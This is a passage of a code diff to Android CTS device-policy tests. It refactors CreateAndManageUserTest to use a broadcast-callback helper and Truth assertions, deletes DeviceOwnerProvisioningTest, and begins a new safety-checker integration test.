-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
-
-        try {
-            // Start user in background and wait for onUserStarted
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
-    public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+    public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
+        UserHandle userHandle = createAndManageUser();
 
         // Start user in background and should receive max running users error
-        assertEquals(UserManager.USER_OPERATION_ERROR_MAX_RUNNING_USERS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
+        startUserInBackgroundAndCheckResult(userHandle,
+                UserManager.USER_OPERATION_ERROR_MAX_RUNNING_USERS);
     }
 
     public void testCreateAndManageUser_StopUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
+        startUserInBackgroundAndWaitForBroadcasts(userHandle);
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = stopUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
-
-        try {
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
-
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
         // Set DISALLOW_REMOVE_USER restriction
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                DevicePolicyManager.MAKE_USER_EPHEMERAL);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
+        UserHandle userHandle = createAndManageUser(DevicePolicyManager.MAKE_USER_EPHEMERAL);
+        startUserInBackgroundAndWaitForBroadcasts(userHandle);
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STOPPED, BasicAdminReceiver.ACTION_USER_REMOVED);
 
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+        callback.runAndUnregisterSelf(
+                () -> stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_SUCCESS));
 
-        try {
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-            // Clear DISALLOW_REMOVE_USER restriction
-            mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
-        }
+        // It's running just one operation (which issues a ACTION_USER_STOPPED), but as the
+        // user is ephemeral, it will be automatically removed (which issues a
+        // ACTION_USER_REMOVED).
+        assertWithMessage("user on broadcasts").that(callback.getUsersOnReceivedBroadcasts())
+                .containsExactly(userHandle, userHandle);
     }
 
     @SuppressWarnings("unused")
     private static void logoutUser(Context context, DevicePolicyManager devicePolicyManager,
             ComponentName componentName) {
-        assertEquals("cannot logout user", UserManager.USER_OPERATION_SUCCESS,
-                devicePolicyManager.logoutUser(componentName));
+        assertUserOperationResult(devicePolicyManager.logoutUser(componentName),
+                UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
     }
 
     public void testCreateAndManageUser_LogoutUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STARTED, BasicAdminReceiver.ACTION_USER_STOPPED);
 
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
+        UserHandle userHandle = runCrossUserVerification(callback,
+                /* createAndManageUserFlags= */ 0, "logoutUser", /* currentUserPackages= */ null);
 
-        try {
-            UserHandle userHandle = runCrossUserVerification(
-                    /* createAndManageUserFlags */ 0, "logoutUser");
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(callback.getUsersOnReceivedBroadcasts())
+                .containsExactly(userHandle, userHandle);
     }
 
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
-        assertTrue("not affiliated user", devicePolicyManager.isAffiliatedUser());
+        assertWithMessage("affiliated user").that(devicePolicyManager.isAffiliatedUser()).isTrue();
     }
 
     public void testCreateAndManageUser_Affiliated() throws Exception {
-        runCrossUserVerification(/* createAndManageUserFlags */ 0, "assertAffiliatedUser");
+        runCrossUserVerification(/* createAndManageUserFlags= */ 0, "assertAffiliatedUser");
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
     @SuppressWarnings("unused")
     private static void assertEphemeralUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
-        assertTrue("not ephemeral user", devicePolicyManager.isEphemeralUser(componentName));
+        assertWithMessage("ephemeral user").that(devicePolicyManager.isEphemeralUser(componentName))
+                .isTrue();
     }
 
     public void testCreateAndManageUser_Ephemeral() throws Exception {
@@ -351,11 +229,13 @@
 
     @SuppressWarnings("unused")
     private static void assertAllSystemAppsInstalled(Context context,
-            DevicePolicyManager devicePolicyManager, ComponentName componentName) {
+            DevicePolicyManager devicePolicyManager, ComponentName componentName,
+            Set<String> currentUserPackages) {
+        Log.d(TAG, "assertAllSystemAppsInstalled(): checking apps for user " + context.getUserId());
         PackageManager packageManager = context.getPackageManager();
         // First get a set of installed package names
         Set<String> installedPackageNames = packageManager
-                .getInstalledApplications(/* flags */ 0)
+                .getInstalledApplications(/* flags= */ 0)
                 .stream()
                 .map(applicationInfo -> applicationInfo.packageName)
                 .collect(Collectors.toSet());
@@ -366,103 +246,240 @@
                 .map(applicationInfo -> applicationInfo.packageName)
                 .filter(((Predicate<String>) installedPackageNames::contains).negate())
                 .collect(Collectors.toSet());
-        // Assert that all apps are installed
-        assertTrue("system apps not installed: " + uninstalledPackageNames,
-                uninstalledPackageNames.isEmpty());
+
+        if (isHeadlessSystemUserMode()) {
+            // Finally, filter out packages that are not installed for users of type FULL
+            Iterator<String> iterator = uninstalledPackageNames.iterator();
+            while (iterator.hasNext()) {
+                String pkg = iterator.next();
+                if (!currentUserPackages.contains(pkg)) {
+                    Log.d(TAG, "assertAllSystemAppsInstalled(): ignoring package " + pkg
+                            + " as it's not installed on current user");
+                    iterator.remove();
+                }
+            }
+        }
+
+        // Assert that all expected apps are installed
+        assertWithMessage("uninstalled system apps").that(uninstalledPackageNames).isEmpty();
     }
 
     public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
-        runCrossUserVerification(
-                DevicePolicyManager.LEAVE_ALL_SYSTEM_APPS_ENABLED, "assertAllSystemAppsInstalled");
+
+        Set<String> installedPackagesOnCurrentUser = null;
+        if (isHeadlessSystemUserMode()) {
+            // On headless system user mode some packages might not be installed due to the userType
+            // allowlist (which defines which packages are installed for users of type FULL or
+            // SYSTEM). As there is no API to get these packages, we need to query all packages
+            // installed for current user here, and pass it around in the bundle (as the receiver
+            // in the new user doesn't have INTERACT_ACROSS_USER to query).
+
+            int currentUserId = ActivityManager.getCurrentUser();
+            installedPackagesOnCurrentUser = mContext.getPackageManager()
+                    .getInstalledApplicationsAsUser(/* flags= */ 0, currentUserId)
+                    .stream()
+                    .map(applicationInfo -> applicationInfo.packageName)
+                    .collect(Collectors.toSet());
+            Log.d(TAG, "installed apps for current user (" + currentUserId + "): "
+                    + installedPackagesOnCurrentUser);
+        } else {
+            installedPackagesOnCurrentUser = Collections.emptySet();
+        }
+
+        runCrossUserVerification(/* callback= */ null,
+                DevicePolicyManager.LEAVE_ALL_SYSTEM_APPS_ENABLED, "assertAllSystemAppsInstalled",
+                installedPackagesOnCurrentUser);
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
-    private UserHandle runCrossUserVerification(int createAndManageUserFlags, String methodName) {
+    private UserHandle runCrossUserVerification(int createAndManageUserFlags, String methodName)
+            throws Exception {
+        return runCrossUserVerification(/* callback= */ null, createAndManageUserFlags, methodName,
+                /* currentUserPackages= */ null);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName,
+            Set<String> currentUserPackages) throws Exception {
+        Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
+                + ", method=" + methodName);
         String testUserName = "TestUser_" + System.currentTimeMillis();
 
         // Set affiliation id to allow communication.
         mDevicePolicyManager.setAffiliationIds(getWho(), Collections.singleton(AFFILIATION_ID));
 
+        ComponentName profileOwner = SecondaryUserAdminReceiver.getComponentName(getContext());
+
         // Pack the affiliation id in a bundle so the secondary user can get it.
         PersistableBundle bundle = new PersistableBundle();
         bundle.putString(EXTRA_AFFILIATION_ID, AFFILIATION_ID);
         bundle.putString(EXTRA_METHOD_NAME, methodName);
+        if (currentUserPackages != null) {
+            String[] array = new String[currentUserPackages.size()];
+            currentUserPackages.toArray(array);
+            bundle.putStringArray(EXTRA_CURRENT_USER_PACKAGES, array);
+        }
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                SecondaryUserAdminReceiver.getComponentName(getContext()),
-                bundle,
-                createAndManageUserFlags);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
+        Log.d(TAG, "creating user with PO " + profileOwner);
 
+        UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
+        if (callback != null) {
+            startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
+        } else {
+            startUserInBackgroundAndWaitForBroadcasts(userHandle);
+        }
         return userHandle;
     }
 
     // createAndManageUser should circumvent the DISALLOW_ADD_USER restriction
-    public void testCreateAndManageUser_AddRestrictionSet() {
+    public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_ADD_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User",
-                getWho(), null, 0);
-        assertNotNull(userHandle);
+        createAndManageUser();
     }
 
-    public void testCreateAndManageUser_RemoveRestrictionSet() {
+    public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User",
-                getWho(), null, 0);
-        assertNotNull(userHandle);
+        UserHandle userHandle = createAndManageUser();
 
-        boolean removed = mDevicePolicyManager.removeUser(getWho(), userHandle);
         // When the device owner itself has set the user restriction, it should still be allowed
         // to remove a user.
-        assertTrue(removed);
+        List<UserHandle> usersOnBroadcasts = removeUserAndWaitForBroadcasts(userHandle);
+
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
-    public void testUserAddedOrRemovedBroadcasts() throws InterruptedException {
-        LocalBroadcastReceiver receiver = new LocalBroadcastReceiver();
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
-        localBroadcastManager.registerReceiver(receiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_ADDED));
-        UserHandle userHandle;
-        try {
-            userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User", getWho(),
-                    null, 0);
-            assertNotNull(userHandle);
-            assertEquals(userHandle, receiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(receiver);
-        }
-        localBroadcastManager.registerReceiver(receiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
-        try {
-            assertTrue(mDevicePolicyManager.removeUser(getWho(), userHandle));
-            assertEquals(userHandle, receiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(receiver);
-        }
+    public void testUserAddedOrRemovedBroadcasts() throws Exception {
+        UserHandle userHandle = createAndManageUser();
+
+        List<UserHandle> userHandles = removeUserAndWaitForBroadcasts(userHandle);
+
+        assertWithMessage("user on broadcasts").that(userHandles).containsExactly(userHandle);
     }
 
-    static class LocalBroadcastReceiver extends BroadcastReceiver {
-        private LinkedBlockingQueue<UserHandle> mQueue = new LinkedBlockingQueue<>(1);
+    private UserHandle createAndManageUser() throws Exception {
+        return createAndManageUser(/* flags= */ 0);
+    }
 
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            UserHandle userHandle = intent.getParcelableExtra(BasicAdminReceiver.EXTRA_USER_HANDLE);
-            Log.d(TAG, "broadcast receiver received " + intent + " with userHandle "
-                    + userHandle);
-            mQueue.offer(userHandle);
+    private UserHandle createAndManageUser(int flags) throws Exception {
+        return createAndManageUser(/* profileOwner= */ getWho(), /* adminExtras= */ null, flags);
+    }
 
-        }
+    private UserHandle createAndManageUser(ComponentName profileOwner,
+            PersistableBundle adminExtras, int flags) throws Exception {
+        String testUserName = "TestUser_" + System.currentTimeMillis();
 
-        UserHandle waitForBroadcastReceived() throws InterruptedException {
-            return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
-        }
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_ADDED);
+
+        UserHandle userHandle = callback.callAndUnregisterSelf(() ->
+                mDevicePolicyManager.createAndManageUser(
+                        /* admin= */ getWho(),
+                        testUserName,
+                        profileOwner,
+                        adminExtras,
+                        flags));
+        Log.d(TAG, "User '" + testUserName + "' created: " + userHandle);
+        return userHandle;
+    }
+
+    /**
+     * Switches to the given user, or fails if the user could not be switched or if the expected
+     * broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> switchUserAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        Log.d(TAG, "Switching to user " + userHandle);
+
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STARTED, BasicAdminReceiver.ACTION_USER_SWITCHED);
+
+        callback.runAndUnregisterSelf(() -> {
+            boolean switched = mDevicePolicyManager.switchUser(getWho(), userHandle);
+            assertWithMessage("switched to user %s", userHandle).that(switched).isTrue();
+        });
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    /**
+     * Removes the given user, or fails if the user could not be removed or if the expected
+     * broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> removeUserAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_REMOVED);
+
+        callback.runAndUnregisterSelf(() -> {
+            boolean removed = mDevicePolicyManager.removeUser(getWho(), userHandle);
+            assertWithMessage("removed user %s", userHandle).that(removed).isTrue();
+        });
+
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    private static String userOperationResultToString(int result) {
+        return DebugUtils.constantToString(UserManager.class, "USER_OPERATION_", result);
+    }
+
+    private static void assertUserOperationResult(int actualResult, int expectedResult,
+            String operationFormat, Object... operationArgs) {
+        String operation = String.format(operationFormat, operationArgs);
+        assertWithMessage("result for %s (%s instead of %s)", operation,
+                userOperationResultToString(actualResult),
+                userOperationResultToString(expectedResult))
+                        .that(actualResult).isEqualTo(expectedResult);
+    }
+
+    private void startUserInBackgroundAndCheckResult(UserHandle userHandle, int expectedResult) {
+        int actualResult = mDevicePolicyManager.startUserInBackground(getWho(), userHandle);
+        assertUserOperationResult(actualResult, expectedResult, "starting user %s in background",
+                userHandle);
+    }
+
+    /**
+     * Starts the given user in background, or fails if the user could not be started or if the
+     * expected broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> startUserInBackgroundAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_STARTED);
+        return startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
+    }
+
+    private List<UserHandle> startUserInBackgroundAndWaitForBroadcasts(UserActionCallback callback,
+            UserHandle userHandle) throws Exception {
+        callback.runAndUnregisterSelf(() -> startUserInBackgroundAndCheckResult(userHandle,
+                UserManager.USER_OPERATION_SUCCESS));
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    private void stopUserAndCheckResult(UserHandle userHandle, int expectedResult) {
+        int actualResult = mDevicePolicyManager.stopUser(getWho(), userHandle);
+        assertUserOperationResult(actualResult, expectedResult, "stopping user %s", userHandle);
+    }
+
+    /**
+     * Stops the given user, or fails if the user could not be stop or if the expected broadcasts
+     * were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> stopUserAndWaitForBroadcasts(UserHandle userHandle) throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_STOPPED);
+        callback.runAndUnregisterSelf(
+                () -> stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_SUCCESS));
+        return callback.getUsersOnReceivedBroadcasts();
     }
 
     public static final class PrimaryUserService extends Service {
@@ -471,7 +488,8 @@
 
         private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
             public void onEnabledCalled(String error) {
-                Log.d(TAG, "onEnabledCalled on primary user");
+                Log.d(TAG, "PrimaryUserService.onEnabledCalled() on user "
+                        + getApplicationContext().getUserId() + " with error " + error);
                 sError = error;
                 sSemaphore.release();
             }
@@ -479,35 +497,61 @@
 
         @Override
         public IBinder onBind(Intent intent) {
+            Log.d(TAG, "PrimaryUserService.onBind() on user "
+                    + getApplicationContext().getUserId() + ": " + intent);
             return mBinder;
         }
 
         static void assertCrossUserCallArrived() throws Exception {
-            assertTrue(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+            assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
+                    .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isTrue();
             if (sError != null) {
+                Log.e(TAG, "assertCrossUserCallArrived() had error: " + sError);
                 throw new Exception(sError);
             }
         }
     }
 
     public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
+
         @Override
         public void onEnabled(Context context, Intent intent) {
-            Log.d(TAG, "onEnabled called");
+            Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
+                    + context.getUserId());
+
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName who = getComponentName(context);
 
             // Set affiliation ids
-            dpm.setAffiliationIds(
-                    who, Collections.singleton(intent.getStringExtra(EXTRA_AFFILIATION_ID)));
+            Set<String> ids = Collections.singleton(intent.getStringExtra(EXTRA_AFFILIATION_ID));
+            Log.d(TAG, "setting affiliation ids as " + ids);
+            dpm.setAffiliationIds(who, ids);
 
             String error = null;
             try {
-                Method method = CreateAndManageUserTest.class.getDeclaredMethod(
-                        intent.getStringExtra(EXTRA_METHOD_NAME), Context.class,
-                        DevicePolicyManager.class, ComponentName.class);
+                Method method;
+                if (intent.hasExtra(EXTRA_CURRENT_USER_PACKAGES)) {
+                    method = CreateAndManageUserTest.class.getDeclaredMethod(
+                            intent.getStringExtra(EXTRA_METHOD_NAME), Context.class,
+                            DevicePolicyManager.class, ComponentName.class, Set.class);
+                } else {
+                    method = CreateAndManageUserTest.class.getDeclaredMethod(
+                            intent.getStringExtra(EXTRA_METHOD_NAME), Context.class,
+                            DevicePolicyManager.class, ComponentName.class);
+                }
                 method.setAccessible(true);
-                method.invoke(null, context, dpm, who);
+                Log.d(TAG, "Calling method " + method);
+                if (intent.hasExtra(EXTRA_CURRENT_USER_PACKAGES)) {
+                    String[] pkgsArray = intent.getStringArrayExtra(EXTRA_CURRENT_USER_PACKAGES);
+                    Set<String> pkgs = new HashSet<>(pkgsArray.length);
+                    for (String pkg : pkgsArray) {
+                        pkgs.add(pkg);
+                    }
+                    method.invoke(null, context, dpm, who, pkgs);
+                } else {
+                    method.invoke(null, context, dpm, who);
+                }
             } catch (NoSuchMethodException | IllegalAccessException e) {
                 error = e.toString();
             } catch (InvocationTargetException e) {
@@ -516,17 +560,18 @@
 
             // Call all affiliated users
             final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
-            assertEquals(1, targetUsers.size());
+            assertWithMessage("target users").that(targetUsers).hasSize(1);
+
             pingTargetUser(context, dpm, targetUsers.get(0), error);
         }
 
-        private void pingTargetUser(Context context, DevicePolicyManager dpm, UserHandle target,
-                String error) {
-            Log.d(TAG, "Pinging target: " + target);
+        private void pingTargetUser(Context context, DevicePolicyManager dpm,
+                UserHandle target, String error) {
+            Log.d(TAG, "Pinging target " + target + " with error " + error);
             final ServiceConnection serviceConnection = new ServiceConnection() {
                 @Override
                 public void onServiceConnected(ComponentName name, IBinder service) {
-                    Log.d(TAG, "onServiceConnected is called in " + Thread.currentThread().getName());
+                    Log.d(TAG, "onServiceConnected() is called in " + Thread.currentThread());
                     ICrossUserService crossUserService = ICrossUserService
                             .Stub.asInterface(service);
                     try {
@@ -539,16 +584,18 @@
 
                 @Override
                 public void onServiceDisconnected(ComponentName name) {
-                    Log.d(TAG, "onServiceDisconnected is called");
+                    Log.d(TAG, "onServiceDisconnected() is called");
                 }
             };
-            final Intent serviceIntent = new Intent(context, PrimaryUserService.class);
-            assertTrue(dpm.bindDeviceAdminServiceAsUser(
+            Intent serviceIntent = new Intent(context, PrimaryUserService.class);
+            boolean bound = dpm.bindDeviceAdminServiceAsUser(
                     getComponentName(context),
                     serviceIntent,
                     serviceConnection,
                     Context.BIND_AUTO_CREATE,
-                    target));
+                    target);
+            assertWithMessage("bound to user %s using intent %s", target, serviceIntent).that(bound)
+                    .isTrue();
         }
 
         public static ComponentName getComponentName(Context context) {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
deleted file mode 100644
index 22401b3..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE;
-import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED;
-import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
-import static java.util.stream.Collectors.toList;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.Intent;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.util.Log;
-
-import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
-import java.util.ArrayList;
-import java.util.List;
-
-
-public class DeviceOwnerProvisioningTest extends BaseDeviceOwnerTest {
-    private static final String TAG = "DeviceOwnerProvisioningTest";
-
-    private List<String> mEnabledAppsBeforeTest;
-    private PackageManager mPackageManager;
-    private DevicePolicyManager mDpm;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mPackageManager = getContext().getPackageManager();
-        mDpm = getContext().getSystemService(DevicePolicyManager.class);
-        mEnabledAppsBeforeTest = getSystemPackageNameList();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        enableUninstalledApp();
-        super.tearDown();
-    }
-
-    public void testProvisionDeviceOwner() throws Exception {
-        deviceOwnerProvision(getBaseProvisioningIntent());
-    }
-
-    public void testProvisionDeviceOwner_withAllSystemAppsEnabled() throws Exception {
-        List<String> systemAppsBefore = getSystemPackageNameList();
-
-        Intent intent = getBaseProvisioningIntent()
-                .putExtra(EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED, true);
-        deviceOwnerProvision(intent);
-
-        List<String> systemAppsAfter = getSystemPackageNameList();
-        assertTrue(systemAppsBefore.equals(systemAppsAfter));
-    }
-
-    private void enableUninstalledApp() {
-        final List<String> currentEnabledApps = getSystemPackageNameList();
-
-        final List<String> disabledApps = new ArrayList<String>(mEnabledAppsBeforeTest);
-        disabledApps.removeAll(currentEnabledApps);
-
-        for (String disabledSystemApp : disabledApps) {
-            Log.i(TAG, "enable app : " + disabledSystemApp);
-            mDevicePolicyManager.enableSystemApp(BasicAdminReceiver.getComponentName(getContext()),
-                    disabledSystemApp);
-        }
-    }
-
-    private Intent getBaseProvisioningIntent() {
-        return new Intent(ACTION_PROVISION_MANAGED_DEVICE)
-                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                        BasicAdminReceiver.getComponentName(getContext()))
-                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true);
-    }
-
-    private void deviceOwnerProvision(Intent intent) throws Exception {
-        SilentProvisioningTestManager provisioningManager =
-                new SilentProvisioningTestManager(getContext());
-        assertTrue(provisioningManager.startProvisioningAndWait(intent));
-        Log.i(TAG, "device owner provisioning successful");
-        assertTrue(mDpm.isDeviceOwnerApp(getContext().getPackageName()));
-        Log.i(TAG, "device owner app: " + getContext().getPackageName());
-    }
-
-    private List<String> getPackageNameList() {
-        return getPackageNameList(0 /* Default flags */);
-    }
-
-    private List<String> getSystemPackageNameList() {
-        return getPackageNameList(MATCH_SYSTEM_ONLY);
-    }
-
-    private List<String> getPackageNameList(int flags) {
-        return mPackageManager.getInstalledApplications(flags)
-                .stream()
-                .map((ApplicationInfo appInfo) -> appInfo.packageName)
-                .sorted()
-                .collect(toList());
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
new file mode 100644
index 0000000..922745d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -0,0 +1,266 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
